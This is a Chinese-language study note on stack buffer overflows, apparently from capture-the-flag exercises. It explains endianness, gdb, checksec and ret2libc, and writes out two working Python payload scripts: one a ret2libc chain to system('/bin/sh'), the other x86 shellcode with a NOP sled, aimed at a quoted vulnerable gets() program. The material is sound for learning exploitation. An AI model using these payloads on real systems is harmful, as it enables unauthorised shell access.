bufferoverflow
小端法和大端法
-
小端法(Little Endian):低位字节存储在内存的低地址处,高位字节存储在内存的高地址处。例如,一个 4 字节的整数 0x12345678 在小端法中被存储为 0x78 0x56 0x34 0x12。
-
大端法(Big Endian):高位字节存储在内存的低地址处,低位字节存储在内存的高地址处。例如,一个 4 字节的整数 0x12345678 在大端法中被存储为 0x12 0x34 0x56 0x78。
实用技巧和命令
-
构造负载,使用python struct
import struct buffer = 'A'*132 sys = struct.pack("I",0xb7e52db0) exit = struct.pack("I",0xb7e469e0) shell = struct.pack("I",0xb7f73b0b) print buffer + sys + exit + shell
-
使用管道符 ‘|’
简单命令管道
命令1 | 命令2这将把命令1的输出作为命令2的输入。例如:
ls | grep test #这个命令将在当前目录下列出所有文件,并将其中包含“test”的行过滤出来。
cat payload - | ./task #将我设计好的用于缓冲区溢出的负载使用管道符输入
cat payload - | ./challenge4 是将payload文件的内容作为第一个输入流(stdin),通过管道(pipe)连接到名为challenge4的可执行文件的输入。同时,-代表标准输入(stdin),作为第二个输入流传递给challenge4程序。
当命令cat payload -执行时,它会将payload文件的内容输出到标准输出(stdout),然后等待用户从标准输入(stdin)中输入内容并传递给下一个程序,即./challenge4。由于-代表标准输入(stdin),因此用户可以在命令行中输入内容并将其作为第二个输入流传递给challenge4程序。使用cat payload - | ./challenge4命令可以将文件的内容和用户输入同时传递给challenge4程序,并在不创建中间文件的情况下进行处理和分析以此来强制overflow获得的shell保持打开
-
gdb
- 使用gdb打断点 b
- 编译源代码时,需要在命令行中添加调试标志-g。
- 在gdb命令行中输入break命令,并指定要在哪个行号或函数上设置断点。例如,在行号42处设置断点:
(gdb) break 42
- 或者在函数my_function中设置断点:
(gdb) break my_function
- 运行程序 run [arg1] [arg2]
run
- 打印变量 p
p system # 会输出 system 函数在内存中的地址
- 查看内存 x
x/[length][format] address x/s 0x5678 #其中,s 表示将内存中的字节序列解释为字符型数组,0x5678 是字符数组的起始地址 x/100xb address #16进制查看100字节
- 查看寄存器的值 info reg/breakpoints
- 常用命令
- next: 执行下一行语句,不进入函数内部。
- step: 执行下一行语句,进入函数内部。
- backtrace: 显示函数调用堆栈。
- delete breakpoints: 删除所有断点。
- checksec 可以用于检查二进制文件的安全保护机制查看是否可以overflow或者怎样overflow
- 使用gdb打断点 b
shellcode
- 构造 shellcode
- 手动编写汇编代码:手动编写汇编代码,将其编译为二进制文件,并进行适当的调试和测试。
- 使用工具生成(Metasploit、pwntools、ROPgadget)
- 反编译现有的二进制代码
- 打开一个终端的shellcode
- 源程序
#include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { volatile int tamper = 20776301; char buffer[81]; gets(buffer); if(tamper!=20776301) { printf("Tamper detected! No ret for you!\ntamper = 0x%08x\n", tamper); _exit(1); } }
- shellcode生成
import struct pad1 = 'A' * 81 pad2 = "\x6d\x05\x3d\x01" pad3 = 'B' * 4 EIP = struct.pack("I",0xbffff660) shellcode = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" NOP = "\x90" * 100 print pad1 + pad2 + pad3 + EIP + NOP + shellcode
ret2libc
- ret2libc 是一种利用程序中存在的函数调用漏洞(比如缓冲区溢出)来执行任意代码的方法。该方法的基本原理是,利用缓冲区溢出等漏洞覆盖函数的返回地址,使得程序返回到 libc 库中的某个函数(y一般system),然后利用该函数执行任意代码,从而实现攻击者的目的。
ret2libc教学https://shellblade.net/files/docs/ret2libc.pdf - 从中我们可以知道当我们把ret替换为system()的地址(sys_addr)后,该函数第一个变量的值会在sys_addr + 8的位置此时我们把指向“/bin/sh”的指针放在该位置,相当于为system(“/bin/sh”)